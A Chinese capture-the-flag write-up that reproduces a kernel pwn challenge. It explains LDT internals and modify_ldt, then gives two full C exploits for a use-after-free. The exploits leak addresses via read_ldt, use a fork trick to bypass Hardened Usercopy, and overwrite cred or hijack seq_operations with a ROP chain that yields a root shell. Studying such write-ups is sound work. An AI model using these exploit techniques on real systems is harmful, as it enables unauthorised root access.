0%

蓝帽杯半决赛 Smurfs复现

蓝帽杯半决赛 Smurfs复现

前言

提供了del,add,edit,其中有比较裸的uaf,edit可以编辑前八个字节,但是没有泄露地址的功能,在比赛期间我采用seq_operationsstart指针来控制程序流,kernel的地址随机化只有9位,所以采用硬爆的策略打远程,可惜脸黑,爆了两个小时,到比赛结束还是没有爆出来。虽有一定可行性但是正解肯定不是这样,官方解出来看了看发现非常有含金量,遂复现一波。

相关内核知识学习

进程ldt

虽然题目的利用思路和这个关系不是很大,但看都看了就记录一下。

介绍LDT就不得不介绍GDT了,简而言之,GDT是全局描述符表,而LDT是局部描述符表,在kvm的学习中接触过GDT,但是当时不理解为什么加了这个东西为什么就可以实现保护了,在询问Alex学长一波后终于搞懂,他是怎么实现内存保护以及进程位隔离的了。

image-20220812195333645

一个cpu有一个全局描述符表GDT,GDT相当于一个数组,每一个元素就是一个段描述符,一个段描述符就记录这个段的一些信息,比如段的基地址段的大小之类的,这个数组的地址存储在寄存器GDTR中,然后在段寄存器中就不会记录段的具体信息,而是记录一个段选择子,通过这个段选择子完成对某一个段描述符的索引

img

段选择子包括三部分,描述索引符,TL,RPL,其中描述索引符就是索引段描述符的,TL有两种可能,0代表在GDT中寻找,1代表在LDT中寻找。

LDT是在保护模式下实现进程间隔离的重要的机制,每个LDT都记录一个进程的段的信息,包括cs,ds,ss之类的,也是由段描述符组成的数组,他是一段内存,也可以看做一个段,所以可以在GDT中用一个描述符去记录他,也有一个寄存器LDTR,不过他不是记录LDT的基地址,而是一个选择子,当段寄存器的TL位是1的话,代表就是LDT选择,CPU会根据LDTR作为一个索引去GDT表中找描述符,找见的描述符就是对应一个LDT地址,然后再用对应的段寄存器的index找到对应的段描述符,可见,进程之间的LDTR不一样,他们的LDT就不一样,段寄存器就不一样,进程间就隔离了,比较形象的描述如下如图。

img

img

modify_ldt 系统调用

ldt_struct

该结构体是0x10大小的,然后前八个字节是一个指针,通过uaf我们得到这个结构体,然后通过edit可以控制前八个字节,也就是控制entries指针。

1
2
3
4
5
struct ldt_struct {
struct desc_struct *entries;
unsigned int nr_entries;
int slot;
};

其中 struct desc_struct就是一个段描述符

1
2
3
4
5
6
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

moddify_ldt系统调用

可以通过linux提供的modity_ldt来获取或者修改当前进程的LDT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS;

switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
return (unsigned int)ret;
}

moddify_ldt系统调用一共提供了四个功能,参数有三个,fun,ptr,bytecount,ptr是我们传入的结构体指针,结构体为user_desc

1
2
3
4
5
6
7
8
9
10
11
struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
};

read_ldt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static int read_ldt(void __user *ptr, unsigned long bytecount)
{
struct mm_struct *mm = current->mm;
unsigned long entries_size;
int retval;

down_read(&mm->context.ldt_usr_sem);

if (!mm->context.ldt) {
retval = 0;
goto out_unlock;
}

if (bytecount > LDT_ENTRY_SIZE * LDT_ENTRIES)
bytecount = LDT_ENTRY_SIZE * LDT_ENTRIES;

entries_size = mm->context.ldt->nr_entries * LDT_ENTRY_SIZE;
if (entries_size > bytecount)
entries_size = bytecount;

if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}

if (entries_size != bytecount) {
/* Zero-fill the rest and pretend we read bytecount bytes. */
if (clear_user(ptr + entries_size, bytecount - entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
}
retval = bytecount;

out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}

函数会使用copy_to_user把ldt->entires的值拷贝到传入的ptr中,就是把这个进程的LDT拷贝到ptr中,如果拷贝不成功,那就会返回-1.我们可以检查返回值判断是否读取成功,也就是可以爆破出heap或者kernel地址。

write_ldt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
struct mm_struct *mm = current->mm;
struct ldt_struct *new_ldt, *old_ldt;
unsigned int old_nr_entries, new_nr_entries;
struct user_desc ldt_info;
struct desc_struct ldt;
int error;

error = -EINVAL;
if (bytecount != sizeof(ldt_info))
goto out;
error = -EFAULT;
if (copy_from_user(&ldt_info, ptr, sizeof(ldt_info)))
goto out;

error = -EINVAL;
if (ldt_info.entry_number >= LDT_ENTRIES)
goto out;
if (ldt_info.contents == 3) {
if (oldmode)
goto out;
if (ldt_info.seg_not_present == 0)
goto out;
}

if ((oldmode && !ldt_info.base_addr && !ldt_info.limit) ||
LDT_empty(&ldt_info)) {
/* The user wants to clear the entry. */
memset(&ldt, 0, sizeof(ldt));
} else {
if (!ldt_info.seg_32bit && !allow_16bit_segments()) {
error = -EINVAL;
goto out;
}

fill_ldt(&ldt, &ldt_info);
if (oldmode)
ldt.avl = 0;
}

if (down_write_killable(&mm->context.ldt_usr_sem))
return -EINTR;

old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries);

error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;

if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

new_ldt->entries[ldt_info.entry_number] = ldt;
finalize_ldt_struct(new_ldt);

/*
* If we are using PTI, map the new LDT into the userspace pagetables.
* If there is already an LDT, use the other slot so that other CPUs
* will continue to use the old LDT until install_ldt() switches
* them over to the new LDT.
*/
error = map_ldt_struct(mm, new_ldt, old_ldt ? !old_ldt->slot : 0);
if (error) {
/*
* This only can fail for the first LDT setup. If an LDT is
* already installed then the PTE page is already
* populated. Mop up a half populated page table.
*/
if (!WARN_ON_ONCE(old_ldt))
free_ldt_pgtables(mm);
free_ldt_struct(new_ldt);
goto out_unlock;
}

install_ldt(mm, new_ldt);
unmap_ldt_struct(mm, old_ldt);
free_ldt_struct(old_ldt);
error = 0;

out_unlock:
up_write(&mm->context.ldt_usr_sem);
out:
return error;
}

可以通过这个函数重新申请一个ldt结构体绑定到进程上,我们就可以利用uaf控制这个结构题,然后就可以控制其中的entries了。

这个函数处理可以控制ldt以外还可以完成任意写,观察下面的代码

1
2
3
4
if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE);

new_ldt->entries[ldt_info.entry_number] = ldt;

memcpy函数中,拷贝的大小是old_nr_entries * LDT_ENTRY_SIZE,其中old_nr_entries的上限和LDT_ENTRY_SIZE大小都有定义

1
2
3
#define LDT_ENTRIES    8192
/* The size of each LDT entry. */
#define LDT_ENTRY_SIZE 8

可见还是比较大的,然后还没有加锁,那就可以在memcpy拷贝的期间条件竞争修改entries字段,ldt也是我们传入的值,再执行new_ldt->entries[ldt_info.entry_number] = ldt;就可以完成任意地址写八字节了。

解法一 遍历内存泄露地址修改进程cred完成提权

该解法思路主要参考TCTF FINAL的一道kernelpwn题。

乐,整了一天多,就算我把qemu的核增多最后的条件竞争还是不行,而且我确定已经可以控制ldt结构体了,但就是条件竞争失败,哎,虽说没有整出来,但是还是学到了一手遍历内存搜索cred结构体的方法

当开了Hardened Usercopy的时候我们遍历整个page_offset_base还是会报错的,因为task_struct结构体就在这里,而这里是不允许向用户态拷贝的,但是tctf final这道题就提供了一个非常好的思路,就是利用fork机制和ldt结构体绕过Hardened Usercopy

首先fork会有如下调用链

1
2
3
4
5
6
7
8
sys_fork()
kernel_clone()
copy_process()
copy_mm()
dup_mm()
dup_mmap()
arch_dup_mmap()
ldt_dup_context()

最后的ldt_dup_context()就是负责ldt结构体拷贝的

1
2
3
4
5
6
7
8
9
10
11
12
13
/*
* Called on fork from arch_dup_mmap(). Just copy the current LDT state,
* the new task is not running, so nothing can be installed.
*/
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
//...

memcpy(new_ldt->entries, old_mm->context.ldt->entries,
new_ldt->nr_entries * LDT_ENTRY_SIZE);

//...
}

所以只要我们控制了父进程的ldt-entries指针,就拷贝任意一段内存到子进程的ldt-entries上,而且这是内核向内核拷贝,不会触发保护,然后我们再从子进程中读取ldt-entries就可以了

最后的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>

size_t vmlinux_nokaslr_addr=0xffffffff81000000;
size_t kernel_base=0;
size_t user_cs,user_ss,user_rflags,user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has ben saved.");
}
void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell ok");
system("cat /flag");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}
int ko_fd;
void chunk_free(size_t idx){
size_t args[3];
args[0]=idx;
ioctl(ko_fd,'0',args);
}
void chunk_edit(size_t idx,char *buf){
size_t args[3];
args[0]=idx;
args[1]=8;
args[2]=buf;
ioctl(ko_fd,'P',args);
}
void chunk_add(size_t size,char *buf){
size_t args[3];
args[0]=size;
args[1]=buf;
ioctl(ko_fd,' ',args);
}
size_t cred_addr=0;
void pthread_write(int v1){
sleep(2);
char buf[0x100];
*(size_t *)buf=cred_addr+4;
chunk_edit(1,buf);
}
void debug(){
printf("[*] debug\n");
}
struct user_desc u_desc;

int main(){
char buf1[0x2000]={0};
char buf2[0x5000]={0};
ko_fd=open("/dev/kernelpwn",0);
int pipe_fd[2]={0};
size_t cred_addr=0;
int cur_pid;
size_t *comm;
pthread_t tid;
cpu_set_t cpu_set;

memset(buf1,0,0x2000);
chunk_add(0x10,buf1);
chunk_free(0);

u_desc.base_addr=0xff0000;
u_desc.entry_number=0x1000/8;
u_desc.limit=0;
u_desc.seg_32bit=0;
u_desc.contents=0;
u_desc.read_exec_only=0;
u_desc.limit_in_pages=0;
u_desc.seg_not_present=0;
u_desc.useable=0;
u_desc.lm=0;
syscall(SYS_modify_ldt,1,&u_desc,sizeof(u_desc));

size_t page_offset_base=0xffff888000000000;
*(size_t *)buf1=page_offset_base;
while(1){
chunk_edit(0,buf1);
int ret=syscall(SYS_modify_ldt,0,buf1,8);
if(ret<0){
page_offset_base+=0x40000000;
*(size_t *)buf1=page_offset_base;
continue;
}
break;
}
printf("page_offset_base_addr:%p\n",page_offset_base);

size_t addr=page_offset_base;
*(size_t *)buf1=addr;
cur_pid=getpid();
pipe(pipe_fd);
prctl(PR_SET_NAME,"jingyinghuaa");
while (1)
{
chunk_edit(0,buf1);
int pid=fork();
if(!pid){
int ret=syscall(SYS_modify_ldt,0,buf2,0x4000);
if(ret<0){
printf("modify_idf again fail\n");
exit(1);
}
comm=(size_t*)memmem(buf2,0x4000,"jingyinghuaa",12);
if (comm \
&& (comm[-2] > page_offset_base) \
&& (comm[-3] > page_offset_base) \
&& (((int) comm[-58]) == cur_pid)){
cred_addr = comm[-2];
}
write(pipe_fd[1],&cred_addr,8);
exit(0);
}
wait(NULL);
read(pipe_fd[0],&cred_addr,8);
if(cred_addr){
break;
}
addr+=0x4000;
*(size_t *)buf1=addr;
}
printf("cred_addr:%p\n",cred_addr);
int pid_1=fork();
if(!pid_1){
int pid_2=fork();
if(!pid_2){
sleep(3);
printf("buhaole\n");
CPU_ZERO(&cpu_set);
CPU_SET(1, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
*(size_t *)buf1=cred_addr+4;
while(1){
chunk_edit(1,buf1);
}
}
// sleep(5);
chunk_add(0x10,buf1);
chunk_free(1);
printf("begin to test\n");
sleep(4);
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
u_desc.base_addr = 0;
u_desc.entry_number = 2;
u_desc.limit = 0;
u_desc.seg_32bit = 0;
u_desc.contents = 0;
u_desc.limit_in_pages = 0;
u_desc.lm = 0;
u_desc.read_exec_only = 0;
u_desc.seg_not_present = 0;
u_desc.useable = 0;
syscall(SYS_modify_ldt, 1, &u_desc, sizeof(u_desc));
sleep(10000);
}
sleep(10);
if (geteuid()){
printf("fail\n");
system("/bin/sh");
}
printf("okk\n");
setreuid(0,0);
setregid(0,0);

}

解法二 遍历内存泄露地址劫持seq_operations+rop提权

思路

总的来说就是先利用modify_ldt爆破page_0ffset_base这块的线性地址,这段虚拟地址在ret2dir中就学习到过,是一段连续的虚拟地址,一共有64TB,映射了所有的物理内存,kmalloc的内存申请就是在这里进行的,在不开kaslr的时候,page_offset_base=0xffff888000000000,但是本题开了,所以需要爆破这个的地址,爆破就是利用read_ldt来爆破,

代码如下,就是在0xffff888000000000的基础上每次加0x40000000,至于为什么要加0x40000000,我猜测是page_offset_base也是指定的几位随机化,和代码段一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
size_t page_offset_base=0xffff888000000000;
*(size_t *)buf1=page_offset_base;
while(1){
chunk_edit(0,buf1);
int ret=syscall(SYS_modify_ldt,0,buf1,8);
if(ret<0){
page_offset_base+=0x40000000;
*(size_t *)buf1=page_offset_base;
continue;
}
break;
}
printf("page_offset_base_addr:%p\n",page_offset_base);

至于为什么不直接爆破kernel的代码段,我尝试了一下,发现了内核会直接报错退出,至于原因,应该是内核开启了 Hardened Usercopy保护,开启这个保护后,在向内核拷贝数据或者从内核中拷贝数据的时候就会进行检查,检查这段内核内存是否在堆栈中,是否是object,是否非内核或者代码段,按我的理解,简而言之,有些内存可以拷贝,比如堆栈,有些就不行,比如代码段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*(size_t *)buf1=vmlinux_nokaslr_addr;
int i=0;
while(1){
chunk_edit(0,buf1);
printf("num:%d\n",i);
int ret=syscall(SYS_modify_ldt,0,buf1,8);
if(ret<0){
vmlinux_nokaslr_addr+=0x100000;
*(size_t *)buf1=vmlinux_nokaslr_addr;
i++;
continue;
}
break;
}
printf("page_offset_base_addr:%p\n",vmlinux_nokaslr_addr);

爆破出来page_offset_base,那就可以利用read_ldt在这段地址上读取堆信息,堆中就有kernel_base地址,然后就是seq_operations+内核pt_regs栈迁移打了。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/syscall.h>
#include <asm/ldt.h>
#include <sys/mman.h>
#include <sys/prctl.h>

#define add_rsp_0x180_pop_3_ret 0xffffffff815141ae
#define pop_rdi_ret 0xffffffff8108c420
#define swapgs_restore_regs_and_return_to_usermode 0xffffffff81c00fb0
#define commit_creds 0xffffffff810c9540
#define prepare_kernel_cred 0xffffffff810c99d0
#define pop_2_ret 0xffffffff810006a6
#define ret_gadget 0xffffffff810001fc

size_t ret_addr;
size_t pop_2_ret_addr;
size_t add_rsp_0x180_pop_3_ret_addr;
size_t pop_rdi_ret_addr;
size_t swapgs_restore_regs_and_return_to_usermode_addr;
size_t commit_creds_addr;
size_t prepare_kernel_cred_addr;
int offsets;
size_t vmlinux_nokaslr_addr=0xffffffff81000000;
size_t kernel_base=0;
size_t user_cs,user_ss,user_rflags,user_sp;

int ko_fd;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has ben saved.");
}

void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell ok");
system("cat /flag");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}
void chunk_free(size_t idx){
size_t args[3];
args[0]=idx;
ioctl(ko_fd,'0',args);
}
void chunk_edit(size_t idx,char *buf){
size_t args[3];
args[0]=idx;
args[1]=8;
args[2]=buf;
ioctl(ko_fd,'P',args);
}
void chunk_add(size_t size,char *buf){
size_t args[3];
args[0]=size;
args[1]=buf;
ioctl(ko_fd,' ',args);
}
void debug(){
printf("[*] debug\n");
}
int seq_fd;
struct user_desc u_desc;
int main(int argc, char ** argv, char ** envp){
saveStatus();
char buf1[0x1000];
char buf2[0x1000];
ko_fd=open("/dev/kernelpwn",0);

memset(buf1,0,0x1000);
chunk_add(0x10,buf1);
chunk_free(0);

u_desc.base_addr=0xff0000;
u_desc.entry_number=0x1000/8;
u_desc.limit=0;
u_desc.seg_32bit=0;
u_desc.contents=0;
u_desc.read_exec_only=0;
u_desc.limit_in_pages=0;
u_desc.seg_not_present=0;
u_desc.useable=0;
u_desc.lm=0;
syscall(SYS_modify_ldt,1,&u_desc,sizeof(u_desc));

size_t page_offset_base=0xffff888000000000;
*(size_t *)buf1=page_offset_base;
while(1){
chunk_edit(0,buf1);
int ret=syscall(SYS_modify_ldt,0,buf1,8);
if(ret<0){
page_offset_base+=0x40000000;
*(size_t *)buf1=page_offset_base;
continue;
}
break;
}
printf("page_offset_base_addr:%p\n",page_offset_base);
// size_t addr=page_offset_base;
// *(size_t *)buf1=addr;

// for(int i=0;i<0x200;i++){
// chunk_edit(0,buf1);
// int ret=syscall(SYS_modify_ldt,0,buf2,0x1000);
// if(ret<0){
// printf("write again fail\n");
// continue;
// }
// for(int j=0;j<0x1000/8;j++){
// size_t content=*((size_t *)buf2+j);
// if((content&0xffffffff00000000)==0xffffffff00000000){
// if((content&0xffffffff)!=0xffffffff){
// printf("kernel_addr:%p content:%p\n",addr+8*j,*((size_t *)buf2+j));
// }

// }
// }
// addr+=0x1000;
// *(size_t *)buf1=addr;
// memset(buf2,0,0x1000);
// }
size_t addr=page_offset_base+0x9d000;
*(size_t *)buf1=addr;
chunk_edit(0,buf1);
syscall(SYS_modify_ldt,0,buf2,0x1000);
kernel_base=*(size_t *)buf2-0x40;
printf("[*] kernel_base:%p\n",kernel_base);

chunk_add(0x20,buf1);
chunk_free(1);
seq_fd=open("/proc/self/stat", O_RDONLY);
add_rsp_0x180_pop_3_ret_addr=add_rsp_0x180_pop_3_ret-vmlinux_nokaslr_addr+kernel_base;
pop_rdi_ret_addr=pop_rdi_ret-vmlinux_nokaslr_addr+kernel_base;
commit_creds_addr=commit_creds-vmlinux_nokaslr_addr+kernel_base;
prepare_kernel_cred_addr=prepare_kernel_cred-vmlinux_nokaslr_addr+kernel_base;
swapgs_restore_regs_and_return_to_usermode_addr=swapgs_restore_regs_and_return_to_usermode-vmlinux_nokaslr_addr+kernel_base+0xe;
*(size_t *)buf1=add_rsp_0x180_pop_3_ret_addr;
chunk_edit(1,buf1);
__asm__(
"mov r15, pop_rdi_ret_addr;"
"mov r14, 0;"
"mov r13, prepare_kernel_cred_addr;"
"mov r12, commit_creds_addr;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode_addr;"
"mov rax, 0;"
"mov rdi, seq_fd;"
"mov rsi, rsp;"
"mov rdx, 0x200;"
"syscall;"
);
// read(seq_fd,buf1,0x200);
usr_shell();
}

官方解法

十分巧妙的解法,学到了很多。

官方前期的地址爆破和我大差不差,但在后面对seq_operationsstart指针的利用开始不一样了,由于只开了kptismep,所以在内核态还是可以访问用户态数据的,所以可以在用户态布置内核rop然后在内核态直接把sp寄存器迁移到用户态。

File:Kernel page-table isolation.svg

那么问题来了,怎么利用一个函数指针让rsp指向自己布置在内核态的rop呢,官方解法里给出了一个十分巧妙(至少我第一次见)的方法,就是利用以下gadget

1
2
xchg_eax_esp
ret

xchg就是互换两个寄存器的数据,一般函数指针都是先加载到rax寄存器中然后再call rax的,所以执行xchg eax, esp的时候rax就指向这个gadget的地址,这个gadget的地址是可控的,但是可惜是内核地址,但是注意这个gadget只是交换寄存器的后32位,交换完后的esp就落到了用户态了,随意我们只要mmap(xchg_eax_esp & 0xfffff000, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);就可以把rsp指向用户态了。

官解在布置rop的时候没有重新设置cr3的值,也就是没有更换页表,所以最后返回用户态之后执行指令肯定会爆段错误,官解是这样处理的,他设置了段错误的处理函数,这样在发生了段错误以后,重新陷入内核态,然后内核态自动切换到用户态然后执行处理函数spawn_shell,这样就可以不用我们布置但是完美的返回到了用户态并执行用户态指令了。

但是直接布置swapgs_restore_regs_and_return_to_usermode使用的内存其实差不多的,嘿嘿,可以用但是没必要。

1
2
3
4
void spawn_shell(void){
system("/bin/sh");
}
signal(SIGSEGV, spawn_shell);

总结

通过这道题也是学到了很多,更加熟悉用户态页表和内核态页表的隔离机制了,比如开了kpti但是不开smep在内核态时其实和开了没有差别,但是开了kpti开不开smap差别还是挺大的。

然后是对swapgs_restore_regs_and_return_to_usermode的理解,在学习ret2dir的时候我不理解为什么交换了页表之后还是可以继续执行swapgs_restore_regs_and_return_to_usermode,通过mit6.s081的学习,能这样做的唯一解法就是这个函数在用户态和内核态都进行了映射,然后映射的虚拟地址是一模一样的,也佐证了用户态页表映射了少量的内核态地址。

这道题在爆破到内核地址后就是比较简单了,原因是没有开pt_regs的偏移和smap,假如这两个都开了的话,目前我能想到的解法就是利用ret2dir进行rop了,这样会比较麻烦。